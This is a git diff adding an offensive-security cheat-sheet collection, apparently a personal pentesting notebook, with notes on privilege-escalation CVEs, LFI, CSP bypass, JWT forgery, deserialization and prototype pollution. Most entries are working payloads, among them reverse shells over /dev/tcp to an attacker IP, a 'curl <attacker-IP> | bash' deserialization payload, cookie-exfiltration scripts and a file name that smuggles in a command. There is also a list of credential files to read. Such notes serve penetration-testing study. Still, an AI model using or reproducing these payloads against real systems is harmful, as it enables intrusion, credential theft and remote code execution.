|
||||
touch "/var/www/html/--checkpoint-action=exec=sh shell.sh"
|
||||
touch "/var/www/html/--checkpoint=1"
|
||||
```
|
||||
|
||||
## touched Filename Options
|
||||
|
||||
* Give full permissions on all the files
|
||||
```sh
|
||||
touch './"";$(chmod 777 *)'
|
||||
```
|
||||
|
|
@ -0,0 +1,11 @@
|
|||
# CVE-2021-4032
|
||||
|
||||
* [Qualys put it in the open](https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt)
|
||||
* [arthepsy's exploit](https://github.com/arthepsy/CVE-2021-4034)
|
||||
|
||||
* Arg counting starts at 1 inside pkexec logic
|
||||
* `execve( "/usr/binpkexec", (char **){NULL}, env)` puts NULL into argc[1]
|
||||
* The value behind NULL can be overwritten, which is the first env param
|
||||
|
||||
|
||||
|
|
@ -0,0 +1,58 @@
|
|||
# CVE-2021-3156 Baron Samedit
|
||||
|
||||
* [Animesh Jain's blog post on Qualys](https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit)
|
||||
* [blasty's PoC](https://github.com/blasty/CVE-2021-3156.git)
|
||||
* Heap based overflow
|
||||
* Versions 1.8.2-1.8.31p2, 1.9.0-1.9.5p1
|
||||
* Check vulnerability via
|
||||
```sh
|
||||
sudoedit -s '\' $(python -c "print('\x41' * 10000)")
|
||||
```
|
||||
* Defaults to try
|
||||
```sh
|
||||
./brute.sh 90 120 50 70 150 300
|
||||
```
|
||||
|
||||
## CVE-2019-14287
|
||||
|
||||
* Versions < 1.8.28
|
||||
|
||||
### Usage
|
||||
|
||||
* Integer overflow with resulting root status.
|
||||
```sh
|
||||
sudo -u#-1 <app>
|
||||
```
|
||||
## CVE-18634
|
||||
|
||||
* Sudo pwnge with pwfeedback()
|
||||
* Sudo version 1.7.1 to 1.8.30
|
||||
* [Saleem's github](https://github.com/saleemrashid/sudo-cve-2019-18634)
|
||||
|
||||
|
||||
## Reusing Sudo Token
|
||||
|
||||
* Reuse sudo token of currently logged in user
|
||||
* [Hacktricks' site](https://book.hacktricks.xyz/linux-hardening/privilege-escalation#reusing-sudo-tokens)
|
||||
|
||||
* `ptrace` has to be fully enabled
|
||||
```sh
|
||||
cat /proc/sys/kernel/yama/ptrace_scope
|
||||
0
|
||||
```
|
||||
* sudo has to be triggered the last 15 minutes, check `ps wuax`
|
||||
* `gdb` has to be installed
|
||||
* One must be logged in as the same user which should be owned
|
||||
* Use [nongiach's exploit](https://github.com/nongiach/sudo_inject)
|
||||
|
||||
## Heap Based Overflow
|
||||
|
||||
* [CVE-2022-43995](https://bugzilla.redhat.com/show_bug.cgi?id=2139911)
|
||||
|
||||
Marco Benatto:
|
||||
> Sudo 1.8.0 through 1.9.12, with the crypt() password backend, contains
|
||||
a plugins/sudoers/auth/passwd.c array-out-of-bounds error that can result
|
||||
in a heap-based buffer over-read. This can be triggered by arbitrary local
|
||||
users with access to Sudo by entering a password of seven characters or
|
||||
fewer. The impact could vary depending on the compiler and processor architecture.
|
||||
|
|
@ -0,0 +1,9 @@
|
|||
# MAC Spoofing
|
||||
|
||||
```sh
|
||||
macof -i <interface>
|
||||
```
|
||||
or
|
||||
```sh
|
||||
ettercap -T -i <interface> -P rand_flood -q -w file.pcap
|
||||
```
|
|
@ -0,0 +1,4 @@
|
|||
# Printer Hacking
|
||||
|
||||
* [Preta](https://github.com/RUB-NDS/PRET)
|
||||
* [Cheat Sheet](http://hacking-printers.net/wiki/index.php/Printer_Security_Testing_Cheat_Sheet)
|
|
@ -0,0 +1,10 @@
|
|||
# Code Injection
|
||||
|
||||
* Python's `input()`, `exec()` and `eval()` makes it possible
|
||||
|
||||
## Usage
|
||||
|
||||
* Payload example
|
||||
```python
|
||||
eval("__import__('os').system('bash -i >& /dev/tcp/$TARGET_IP/$TARGET_PORT 0>&1')#")
|
||||
```
|
|
@ -0,0 +1,5 @@
|
|||
# Decompile PYC
|
||||
|
||||
```sh
|
||||
uncompyle6 file.pyc
|
||||
```
|
|
@ -0,0 +1,36 @@
|
|||
import zlib
|
||||
import sys
|
||||
import json
|
||||
from itsdangerous import base64_decode
|
||||
|
||||
|
||||
def decode(cookie):
|
||||
"""
|
||||
Decode a Flask cookie
|
||||
|
||||
https://www.kirsle.net/wizards/flask-session.cgi
|
||||
"""
|
||||
try:
|
||||
compressed = False
|
||||
payload = cookie
|
||||
|
||||
if payload.startswith('.'):
|
||||
compressed = True
|
||||
payload = payload[1:]
|
||||
|
||||
data = payload.split(".")[0]
|
||||
|
||||
data = base64_decode(data)
|
||||
if compressed:
|
||||
data = zlib.decompress(data)
|
||||
|
||||
return data.decode("utf-8")
|
||||
except Exception as e:
|
||||
return f"[Decoding error: are you sure this was a Flask session cookie? {e}]"
|
||||
|
||||
|
||||
cookie = sys.argv[1]
|
||||
data = decode(cookie)
|
||||
json_data = json.loads(data)
|
||||
pretty = json.dumps(json_data, sort_keys=True, indent=4, separators=(",", ": "))
|
||||
print(pretty)
|
|
@ -0,0 +1,18 @@
|
|||
# Escaping Jails
|
||||
|
||||
* [Aneesh's blog](https://anee.me/escaping-python-jails-849c65cf306e?gi=a7d3bac81831)
|
||||
|
||||
## Usage
|
||||
|
||||
* Circumvent via `__builtins__`
|
||||
```python
|
||||
dir(__builtins__)
|
||||
```
|
||||
```python
|
||||
__builtins__.__dict__
|
||||
```
|
||||
* Call builtins
|
||||
```python
|
||||
__builtins__.__dict__['__IMPORT__'.lower()]('OS'.lower()).__dict__['SYSTEM'.lower()]('/bin/bash -p')
|
||||
```
|
||||
|
|
@ -0,0 +1,22 @@
|
|||
# Library Hijacking
|
||||
|
||||
* [Article](https://medium.com/analytics-vidhya/python-library-hijacking-on-linux-with-examples-a31e6a9860c8)
|
||||
|
||||
## Interpreter might be called invoking sudo
|
||||
* Write into a library called inside the script
|
||||
|
||||
## Path call order of packages
|
||||
* Order of paths which are invoked to find packages may be found via
|
||||
```sh
|
||||
python -c 'import sys; print("\n".join(sys.path))'
|
||||
```
|
||||
* Higher order directory on a path may have write permission. Insert a similar named package that gets called in the script.
|
||||
* The highest order is `pwd`
|
||||
|
||||
## Redirecting PYTHONPATH
|
||||
* `SETENV` may be set while loading script through `sudo`
|
||||
```sh
|
||||
sudo PYTHONPATH=/tmp/ /usr/bin/python3.6 <script.py>
|
||||
```
|
||||
|
||||
|
|
@ -0,0 +1,21 @@
|
|||
# Pickle
|
||||
|
||||
## Payload
|
||||
* Inject payload
|
||||
```python
|
||||
import pickle
|
||||
import os
|
||||
import base64
|
||||
class evil_object(object):
|
||||
def __reduce__(self):
|
||||
return(os.system, ('/bin/bash',))
|
||||
x = evil_object()
|
||||
x = evil_object()
|
||||
y = pickle.dumps(x)
|
||||
base64.b64encode(y)
|
||||
```
|
||||
|
||||
* Dump serialized object via
|
||||
```python
|
||||
pickle.dump(SerializedPickle(), open('pickled.out', 'wb')
|
||||
```
|
|
@ -0,0 +1,4 @@
|
|||
# Scapy
|
||||
|
||||
* [Doc](https://scapy.readthedocs.io/en/latest/introduction.html)
|
||||
|
|
@ -0,0 +1,3 @@
|
|||
# Pwntools
|
||||
|
||||
* [Docs](https://docs.pwntools.com/en/stable/)
|
|
@ -0,0 +1,38 @@
|
|||
# Exploit References
|
||||
|
||||
[PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings.git)
|
||||
|
||||
## Recover git Repositories
|
||||
[Internetwache's gitTools](https://github.com/internetwache/GitTools.git)
|
||||
|
||||
## Web
|
||||
|
||||
[Padbuster - padding Oracle Attacks](https://github.com/AonCyberLabs/PadBuster.git)
|
||||
|
||||
## Printer Exploitation
|
||||
[RUB-NDS Printer Exploitation Framework](https://github.com/RUB-NDS/PRET.git)
|
||||
|
||||
## Python
|
||||
|
||||
[pwntools doc](https://docs.pwntools.com/en/stable/)
|
||||
[pwntools installation](https://docs.pwntools.com/en/stable/install.html)
|
||||
|
||||
## Java
|
||||
|
||||
[fullhunt's log4j-scan](https://github.com/fullhunt/log4j-scan.git)
|
||||
[pimps' JNID-Exploit-Kit](https://github.com/pimps/JNDI-Exploit-Kit.git)
|
||||
|
||||
## Linux
|
||||
|
||||
[DirtyPipe](https://github.com/cspshivam/CVE-2022-0847-dirty-pipe-exploit.git)
|
||||
|
||||
## macOS
|
||||
|
||||
[DS Store Crawler Parser](https://github.com/anantshri/DS_Store_crawler_parser.git)
|
||||
[DS Store Exp](https://github.com/lijiejie/ds_store_exp.git)
|
||||
[DS Store Exp Python3](https://github.com/qiuluo-oss/ds_store_exp_py3.git)
|
||||
|
||||
## Windows
|
||||
|
||||
[PowerSploit](https://github.com/PowerShellMafia/PowerSploit.git)
|
||||
[nishang](https://github.com/samratashok/nishang.git)
|
|
@ -0,0 +1,8 @@
|
|||
# Heartbleed
|
||||
|
||||
* SSL V1.0.1 and V1.0.1f
|
||||
* Client sends msg, msglength
|
||||
* If msg is 0 and the msglength is longer, return from server is arbitrary memory content
|
||||
|
||||
* [Heartbleed](https://heartbleed.com)
|
||||
|
|
@ -0,0 +1,10 @@
|
|||
# Client Filters
|
||||
|
||||
* Circumvent client side filters via
|
||||
* Disable javascript
|
||||
* Use curl
|
||||
```sh
|
||||
curl -X POST -F "submit=<value>" -F "<file-parameter>=@<path-to-file>" <site>
|
||||
```
|
||||
* Intercept and modify incoming page via Burpsuite
|
||||
* Intercept and modify upload of already loaded page via Burpsuite
|
|
@ -0,0 +1,52 @@
|
|||
# Content Security Policy (CSP)
|
||||
|
||||
* Either in HTTP header or inside DOM's HTML
|
||||
* [CSP directives](https://content-security-policy.com/#directive)
|
||||
* [CSP evaluator](https://csp-evaluator.withgoogle.com/)
|
||||
* [Bypassing csp](https://blog.0daylabs.com/2016/09/09/bypassing-csp/)
|
||||
|
||||
## Sources
|
||||
* `*` wildcard
|
||||
* `none`
|
||||
* `self` for sources delivered through the same protocol
|
||||
* `default-src 'self';` may not load any script
|
||||
* `unsafe-inline`
|
||||
* `unsafe-eval`
|
||||
* `test.com` loads resources from domain but not subdomains
|
||||
* `*.test.com` loads resources from subdomains
|
||||
* `data:<content-type>...` critical usage
|
||||
* `nonce` loads if nonce is correct. `sha256`, `sha384`, `sha512`
|
||||
* [style hasher](https://report-uri.com/home/hash)
|
||||
|
||||
## Usage
|
||||
|
||||
### JSONP
|
||||
Find JSONP endpoints through which to use custom callback functions
|
||||
* [JSONBee](https://github.com/zigoo0/JSONBee)
|
||||
```sh
|
||||
"><script+src="https://bebezoo.1688.com/fragment/index.htm?callback=alert(1337)"></script>
|
||||
```
|
||||
|
||||
### Misconfiguration
|
||||
Insert payload into `src` attribute
|
||||
|
||||
### Exfiltration
|
||||
* [Beeceptor](beeceptor.com)
|
||||
* Local webserver
|
||||
* `connect-src` while Ajax/XHR requests are enabled
|
||||
* Disguising as an `image-src` or `media-src` source
|
||||
```html
|
||||
<script>(new Image()).src = `https://example.com/${encodeURIComponent(document.cookie)}`</script>
|
||||
```
|
||||
other payloads
|
||||
```sh
|
||||
<link id="csp" rel=stylesheet href="" /><script nonce="abcdef">document.getElementById("csp").href="http://<attacker-IP>:8000/" + document.cookie;</script>
|
||||
```
|
||||
*
|
||||
```sh
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.3/prototype.min.js" integrity="sha512-C4LuwXQtQOF1iTRy3zwClYLsLgFLlG8nCV5dCxDjPcWsyFelQXzi3efHRjptsOzbHwwnXC3ZU+sWUh1gmxaTBA==" crossorigin="anonymous"></script>
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.2/angular.min.js"></script>
|
||||
<div ng-app ng-csp>
|
||||
{{$on.curry.call().document.location='https://<attacker-IP>/' + $on.curry.call().document.cookie}}
|
||||
</div>
|
||||
```
|
|
@ -0,0 +1,11 @@
|
|||
# CSRF
|
||||
|
||||
## Protection
|
||||
|
||||
* May be a hidden field with an encoded value
|
||||
```html
|
||||
<input type="hidden" name="csrf_protect" value="eyJk..n0=">
|
||||
```
|
||||
* This field need to be removed in order to do some csrf shenanigans
|
||||
* Decode the value to reproduce some valid content.
|
||||
|
|
@ -0,0 +1,19 @@
|
|||
# Command Injection
|
||||
|
||||
* Blind injection
|
||||
* Verbose injection
|
||||
|
||||
## Blind Injection
|
||||
* Check via ping, open a `tcpdump` on ICMP to listen for packets
|
||||
* Redirect to logfile and read
|
||||
* Use `sleep` or `timeout` to check if ci is possible in general
|
||||
|
||||
## Functions
|
||||
* Watch out for
|
||||
* `eval()`
|
||||
* `exec()`
|
||||
* `passthru()`
|
||||
* `system()`
|
||||
|
||||
|
||||
|
|
@ -0,0 +1,22 @@
|
|||
# Cookie Tampering
|
||||
|
||||
## Components
|
||||
|
||||
* Separator is `;`
|
||||
* Name
|
||||
* Value
|
||||
* Domain
|
||||
* Path
|
||||
* Expires/Maxage
|
||||
* Size
|
||||
* HttpOnly, no access by client side scripts
|
||||
* Secure, HTTPs only
|
||||
* SameSite, cookie sent through cross-site request
|
||||
* SameParty, firt party requests only
|
||||
* Priority
|
||||
|
||||
## Response
|
||||
* May look like this
|
||||
```sh
|
||||
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>; Secure; HttpOnly
|
||||
```
|
|
@ -0,0 +1,23 @@
|
|||
# Forced Browsing
|
||||
Forced browsing is the art of using logic to find resources on the website that you would not normally be able to access. For example let's say we have a note taking site, that is structured like this. http://example.com/user1/note.txt. It stands to reason that if we did http://example.com/user2/note.txt we may be able to access user2's note.
|
||||
|
||||
## Usage
|
||||
|
||||
## Tools
|
||||
|
||||
### wfuzz
|
||||
* `pip install wfuzz`
|
||||
|
||||
```
|
||||
wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/big.txt --hw 57 http://10.10.28.2/FUZZ/note.txt
|
||||
```
|
||||
|
||||
|Parameter|Detail|
|
||||
|---------|------|
|
||||
|-c|Shows the output in color|
|
||||
|-z|Specifies what will replace FUZZ in the request. For example -z file,big.txt will read through all the lines of big.txt and replace FUZZ with|
|
||||
|--hc|Don't show certain http response codes|
|
||||
|--hl|Don't show a certain amount of lines in the response|
|
||||
|--hh|Don't show a certain amount of words|
|
||||
|--hw|Don't show word response return val of this length|
|
||||
|
|
@ -0,0 +1,8 @@
|
|||
# HTTP Header Injection & Cache Poisoning
|
||||
|
||||
## References
|
||||
|
||||
* [Portswigger]https://portswigger.net/web-security/host-header
|
||||
* [Spring project](https://github.com/spring-projects/spring-security/issues/4310)
|
||||
* [Skeletonscribe.com](https://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html)
|
||||
|
|
@ -0,0 +1,3 @@
|
|||
# Insecure Direct Object Reference (IDOR)
|
||||
|
||||
Changing URL parameters.
|
|
@ -0,0 +1,22 @@
|
|||
# SSRF through iframe
|
||||
|
||||
* [taken from Jomar's Website](https://www.jomar.fr/posts/2021/ssrf_through_pdf_generation/)
|
||||
* Upload iframe with attacker server and php code ready to be executed. Redirect to a local file on the server
|
||||
```php
|
||||
<?php
|
||||
$loc = "http://127.0.0.1/";
|
||||
|
||||
if(isset($_GET['a'])){
|
||||
$loc = $_GET['a'];
|
||||
}
|
||||
header('Location: '.$loc);
|
||||
?>
|
||||
```
|
||||
* Payload looks like this
|
||||
```html
|
||||
<iframe src="http://$ATTACKER_IP:4711/ssrf.php?a=file:///etc/passwd"/>
|
||||
```
|
||||
* Start a php adhoc server and run it
|
||||
```php
|
||||
php -S 0.0.0.0:4711
|
||||
```
|
|
@ -0,0 +1,88 @@
|
|||
# JSON Web Token
|
||||
|
||||
## Build up
|
||||
```sh
|
||||
header.payload.signature
|
||||
```
|
||||
|
||||
1. **Header**: This consists of the algorithm used and the type of the token.
|
||||
```sh
|
||||
{ "alg": "HS256", "typ": "JWT"}
|
||||
```
|
||||
|
||||
2. **Payload**: This is part that contains the access given to the certain user etc. This can vary from website to website, some can just have a simple username and some ID and others could have a lot of other details.
|
||||
|
||||
|
||||
3. **Signature**: This is the part that is used to make sure that the integrity of the data was maintained while transferring it from a user's computer to the server and back. This is encrypted with whatever algorithm or alg that was passed in the header's value. And this can only be decrypted with a predefined secret(which should be difficult to)
|
||||
|
||||
|
||||
## NONE Algorithm Vulnerability
|
||||
* Example with `alg: NONE`, so no third part is needed.
|
||||
```sh
|
||||
eyJ0eXAiOiJKV1QiLCJhbGciOiJOT05FIn0K.eyJleHAiOjE1ODY3MDUyOTUsImlhdCI6MTU4NjcwNDk5NSwibmJmIjoxNTg2NzA0OTk1LCJpZGVudGl0eSI6MH0K.
|
||||
```
|
||||
* Encoded headers are as follows
|
||||
* `{"type": "JWT", "alg": "none"}`
|
||||
```
|
||||
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0
|
||||
```
|
||||
* `{"typ":"JWT","alg":"NONE"}` with trailing `\n`
|
||||
```
|
||||
eyJ0eXAiOiJKV1QiLCJhbGciOiJOT05FIn0K
|
||||
```
|
||||
|
||||
## Brute Force
|
||||
```python
|
||||
HMACSHA256( base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)
|
||||
```
|
||||
* [jwt-cracker](https://github.com/lmammino/jwt-cracker.git)
|
||||
|
||||
|Parameter|Details|
|
||||
|---------|-------|
|
||||
|Token | The HS256 JWT Token|
|
||||
|Alphabet |Alphabet used to crack (default:"abcdefghijklmnopqrstuvwxyz")|
|
||||
|max-length|Secret max length (default: 12)|
|
||||
|
||||
```sh
|
||||
[whackx@manbox jwt-cracker]$ node index.js eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.it4Lj1WEPkrhRo9a2-XHMGtYburgHbdS5s7Iuc1YKOE abcdefghijklmnopqrstuvwxyz 4
|
||||
Attempts: 100000
|
||||
Attempts: 200000
|
||||
Attempts: 300000
|
||||
SECRET FOUND: pass
|
||||
Time taken (sec): 11.605
|
||||
Attempts: 346830
|
||||
```
|
||||
## HS256 Vulnerability
|
||||
It is calculated by using server `K_pub`, which may be gained via content of the server cert
|
||||
|
||||
### Build Up
|
||||
* Changing the header to `{"typ": "JWT", "alg": "HS256"}`, spaces inbetween values.
|
||||
```sh
|
||||
$ echo -n '{"typ": "JWT", "alg": "HS256"}' | base64
|
||||
eyJ0eXAiOiAiSldUIiwgImFsZyI6ICJIUzI1NiJ9
|
||||
```
|
||||
|
||||
* Encoding the payload, no spaces inbetween. Cut `==` at the end.
|
||||
```sh
|
||||
echo -n '{"iss":"http://localhost","iat":1585323784,"exp":1585323904,"data":{"hello":"world"}}' | base64
|
||||
eyJpc3MiOiJodHRwOi8vbG9jYWxob3N0IiwiaWF0IjoxNTg1MzIzNzg0LCJleHAiOjE1ODUzMjM5MDQsImRhdGEiOnsiaGVsbG8iOiJ3b3JsZCJ9fQ==
|
||||
```
|
||||
|
||||
* Crafting the HMAC signature
|
||||
* Convert `K_pub` file to hex
|
||||
```sh
|
||||
cat id_rsa.pub | xxd -p | tr -d "\\n"
|
||||
```
|
||||
* Sign the message to get the signature as hex value
|
||||
```sh
|
||||
echo -n "eyJ0eXAiOiAiSldUIiwgImFsZyI6ICJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vbG9jYWxob3N0IiwiaWF0IjoxNTg1MzIzNzg0LCJleHAiOjE1ODUzMjM5MDQsImRhdGEiOnsiaGVsbG8iOiJ3b3JsZCJ9fQ" | openssl dgst -sha256 -mac HMAC -macopt hexkey <converted_public_hex>
|
||||
```
|
||||
* Decode hex to binary data and reencode as base64 via python
|
||||
```python
|
||||
python -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('<signature_as_hexval>')).replace('=','')\")"
|
||||
```
|
||||
|
||||
## Tools
|
||||
* [JWTtool](https://github.com/ticarpi/jwt_tool.git)
|
||||
* [PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/JSON%20Web%20Token)
|
||||
* https://jwt.io
|
|
@ -0,0 +1,94 @@
|
|||
# Local File Inclusion
|
||||
To test for LFI what we need is a parameter on any URL or other inputs, i.e. request body which includes a file. A parameter in the URL can look like `https://test.com/?file=robots.txt`, the file may be changed.
|
||||
|
||||
* [Acunetix article](https://www.acunetix.com/blog/articles/remote-file-inclusion-rfi/)
|
||||
## PHP Functions
|
||||
* Functions provoking an LFI
|
||||
```php
|
||||
include()
|
||||
require()
|
||||
include_once ()
|
||||
require_once()
|
||||
```
|
||||
|
||||
## Usage
|
||||
|
||||
* Exploit URL parameter by including other files.
|
||||
```
|
||||
http://example.com/home?page=about.html
|
||||
http://example.com/home?page=/etc/passwd
|
||||
```
|
||||
* changed to path traversal, with [interesting files](https://github.com/cyberheartmi9/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal#basic-lfi-null-byte-double-encoding-and-other-tricks)
|
||||
```
|
||||
http://example.com/home?page=../../../../etc/passwd
|
||||
```
|
||||
or
|
||||
```
|
||||
http://example.com/home?page=html/../../../home/<username>/.ssh/id_rsa
|
||||
```
|
||||
|
||||
### Log Poisoning
|
||||
* Inject malicious code into logfiles before using path traversal to open the logfile and trigger the rce.
|
||||
* `www-data` needs read & write permisson in order to do so.
|
||||
* Include php code into the `User-Agent` header of the HTTP request. For example a GET parameter to deliver system commandsas follows
|
||||
```sh
|
||||
curl 'http://<TARGETIP>/lfi/lfi.php?page=/var/log/apache2/access.log' -H 'Host: <TARGETIP>' -H 'User-Agent: Mozilla/5.0 <?php system($_GET['lfi']); ?> Firefox/70.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' -H 'DNT: 1' -H 'Upgrade-Insecure-Requests: 1'
|
||||
```
|
||||
|
||||
* Follow up with a request to
|
||||
|
||||
```HTTP
|
||||
curl 'http://<TARGETIP>/lfi/lfi.php?page=/var/log/apache2/access.log&lfi=ls%20../'
|
||||
```
|
||||
|
||||
### /proc/self/fd
|
||||
* [outpost24](https://outpost24.com/blog/from-local-file-inclusion-to-remote-code-execution-part-2)
|
||||
* Log poisoning and opening logfile via `/proc/self/fd/xx`.
|
||||
|
||||
## Files of Interest
|
||||
* `/etc/issue`
|
||||
* `/etc/profile`
|
||||
* `/proc/version`
|
||||
* `/etc/passwd`
|
||||
* `/etc/apache2/.htpasswd`
|
||||
* `/etc/shadow`
|
||||
* `/etc/group`
|
||||
* `/etc/motd`
|
||||
* `/etc/mysql/my.cnf`
|
||||
* `/root/.bash_history`
|
||||
* `/var/log/dmessage`
|
||||
* `/var/mail/root`
|
||||
* `/root/.ssh/id_rsa`
|
||||
* `/var/log/apache2/access.log`
|
||||
* `C:\boot.ini`
|
||||
* `/proc/self/fd/xx`
|
||||
* `/proc/version`
|
||||
* `/proc/cmdline`
|
||||
* `/proc/[0-9]*/fd/[0-9]*`
|
||||
|
||||
* `sess_<cookieValue>` if the location of the session file is known. Some paths are
|
||||
```sh
|
||||
c:\Windows\Temp
|
||||
/tmp/
|
||||
/var/lib/php5
|
||||
/var/lib/php/session
|
||||
```
|
||||
|
||||
### Base64 Encoding via PHP
|
||||
* Circumvent filter via encoding local files included ins a GET parameter value
|
||||
* __Read PHP files through encoding them, so they won't be executed__
|
||||
```http
|
||||
curl http://test.com/test.php?view=php://filter/convert.base64-encode/resource=<fileOnServer>.php
|
||||
curl http://test.com/test.php?file=php://filter/read=string.rot13/resource=/etc/passwd
|
||||
```
|
||||
* Use encoded data as input through the parameter
|
||||
```sh
|
||||
curl http://test.com/test.php?file=data://text/plain;base64,dGhlIGFuc3dlciBpcyA0Mgo=
|
||||
```
|
||||
|
||||
## Tricks
|
||||
|
||||
* Terminate query with `%00` or `0x00` does the trick until PHP 5.3.4
|
||||
* Terminate query with `/.`
|
||||
* `..//..//..//file`, double slashes
|
||||
* URL encode path
|
|
@ -0,0 +1,17 @@
|
|||
We'll look at this as a step-by-step process. Let's say that we've been given a website to perform a security audit on.
|
||||
|
||||
1. The first thing we would do is take a look at the website as a whole. Using browser extensions such as the aforementioned Wappalyzer (or by hand) we would look for indicators of what languages and frameworks the web application might have been built with. Be aware that Wappalyzer is not always 100% accurate. A good start to enumerating this manually would be by making a request to the website and intercepting the response with Burpsuite. Headers such as server or x-powered-by can be used to gain information about the server. We would also be looking for vectors of attack, like, for example, an upload page.
|
||||
2. Having found an upload page, we would then aim to inspect it further. Looking at the source code for client-side scripts to determine if there are any client-side filters to bypass would be a good thing to start with, as this is completely in our control.
|
||||
3. We would then attempt a completely innocent file upload. From here we would look to see how our file is accessed. In other words, can we access it directly in an uploads folder? Is it embedded in a page somewhere? What's the naming scheme of the website? This is where tools such as Gobuster might come in if the location is not immediately obvious. This step is extremely important as it not only improves our knowledge of the virtual landscape we're attacking, it also gives us a baseline "accepted" file which we can base further testing on.
|
||||
* An important Gobuster switch here is the -x switch, which can be used to look for files with specific extensions. For example, if you added -x php,txt,html to your Gobuster command, the tool would append .php, .txt, and .html to each word in the selected wordlist, one at a time. This can be very useful if you've managed to upload a payload and the server is changing the name of uploaded files.
|
||||
4. Having ascertained how and where our uploaded files can be accessed, we would then attempt a malicious file upload, bypassing any client-side filters we found in step two. We would expect our upload to be stopped by a server side filter, but the error message that it gives us can be extremely useful in determining our next steps.
|
||||
|
||||
|
||||
Assuming that our malicious file upload has been stopped by the server, here are some ways to ascertain what kind of server-side filter may be in place:
|
||||
|
||||
* If you can successfully upload a file with a totally invalid file extension (e.g. testingimage.invalidfileextension) then the chances are that the server is using an extension blacklist to filter out executable files. If this upload fails then any extension filter will be operating on a whitelist.
|
||||
* Try re-uploading your originally accepted innocent file, but this time change the magic number of the file to be something that you would expect to be filtered. If the upload fails then you know that the server is using a magic number based filter.
|
||||
* As with the previous point, try to upload your innocent file, but intercept the request with Burpsuite and change the MIME type of the upload to something that you would expect to be filtered. If the upload fails then you know that the server is filtering based on MIME types.
|
||||
* Enumerating file length filters is a case of uploading a small file, then uploading progressively bigger files until you hit the filter. At that point you'll know what the acceptable limit is. If you're very lucky then the error message of original upload may outright tell you what the size limit is. Be aware that a small file length limit may prevent you from uploading the reverse shell we've been using so far.
|
||||
|
||||
|
|
@ -0,0 +1,14 @@
|
|||
# De/Serialization
|
||||
|
||||
* `_$$ND_FUNC$$_function (){}` is executed after parsing
|
||||
|
||||
## Example Payloads
|
||||
|
||||
* Encode, send and wait with `sudo tcpdump -i <interface> icmp`
|
||||
```js
|
||||
{"pwn": "_$$ND_FUNC$$_function () {\n \t require('child_process').exec('ping -c 10 <attacker-IP>', function(error, stdout, stderr) { console.log(stdout) });\n }()"}
|
||||
```
|
||||
* reverse shell via
|
||||
```js
|
||||
{"pwn": "_$$ND_FUNC$$_function () {\n \t require('child_process').exec('curl <attacker-IP>:8000 | bash', function(error, stdout, stderr) { console.log(stdout) });\n }()"}
|
||||
```
|
|
@ -0,0 +1,16 @@
|
|||
# PadBuster
|
||||
|
||||
* [AeonCyberLabs' github](https://github.com/AonCyberLabs/PadBuster.git)
|
||||
|
||||
* Padding Oracle
|
||||
|
||||
## Usage on Cookies
|
||||
|
||||
* Oracle on cookievalue, use website error message of invalid padding
|
||||
* A high privileged user account can be added as a target
|
||||
```sh
|
||||
./padBuster.pl http://10.10.135.100/index.php 3AJot%2F7S5NUiay66TEbzg0FkJkO3JGR3 8 -cookies "hcon=3AJot%2F7S5NUiay66TEbzg0FkJkO3JGR3" -error "<website error>"
|
||||
```sh
|
||||
./padBuster.pl http://$TARGET_IP/index.php 3AJot%2F7S5NUiay66TEbzg0FkJkO3JGR3 8 -cookies "session=3AJot%2F7S5NUiay66TEbzg0FkJkO3JGR3" -error "<website error>" -plaintext '<user>=<username>'
|
||||
```
|
||||
|
|
@ -0,0 +1,31 @@
|
|||
# Prototype Pollution
|
||||
|
||||
* Overwrite built in properties, like constructor, toString of an object.
|
||||
* Any other instance inherits properties from `Object.__proto__`. toString() is inherited by all objects.
|
||||
## Usage
|
||||
* Access to prototype inside object, as an example Javascript
|
||||
```javascript
|
||||
obj.__proto__
|
||||
Object.prototype
|
||||
```
|
||||
* Create object
|
||||
```javascript
|
||||
let obj = {}
|
||||
```
|
||||
* Create properties inside `__proto__`.
|
||||
```javascript
|
||||
obj.__proto__.isAdmin = true
|
||||
```
|
||||
|
||||
### Start Node commands
|
||||
* Use
|
||||
* `require`
|
||||
* `eval`
|
||||
|
||||
### Kibana CVE 2019
|
||||
* Write reverse bash into variable
|
||||
```javascript
|
||||
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -c \'bash -i >& /dev/tcp/<attacker-IP>/4444 0>&1\'");//')
|
||||
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
|
||||
```
|
||||
|
|
@ -0,0 +1,18 @@
|
|||
# Bypassing Rate Limit
|
||||
|
||||
* [Infosecwriteups article](https://infosecwriteups.com/bypassing-rate-limit-like-a-pro-5f3e40250d3c)
|
||||
* [Another infosecwriteups article](https://infosecwriteups.com/no-rate-limit-use-like-a-pro-33fc76744a17)
|
||||
* [Hacktricks' site](https://book.hacktricks.xyz/pentesting-web/rate-limit-bypass)
|
||||
|
||||
# Usage
|
||||
|
||||
* Add one of the following lines to the header in round robin
|
||||
```sh
|
||||
X-Originating-IP: 127.0.0.1
|
||||
X-Forwarded-For: 127.0.0.1
|
||||
X-Remote-IP: 127.0.0.1
|
||||
X-Remote-Addr: 127.0.0.1
|
||||
X-Client-IP: 127.0.0.1
|
||||
X-Host: 127.0.0.1
|
||||
X-Forwared-Host: 127.0.0.1
|
||||
```
|
|
@ -0,0 +1,9 @@
|
|||
# Remote File Inclusion
|
||||
|
||||
|
||||
## Usage
|
||||
* Use a GET query parameter to include an attacker URL.
|
||||
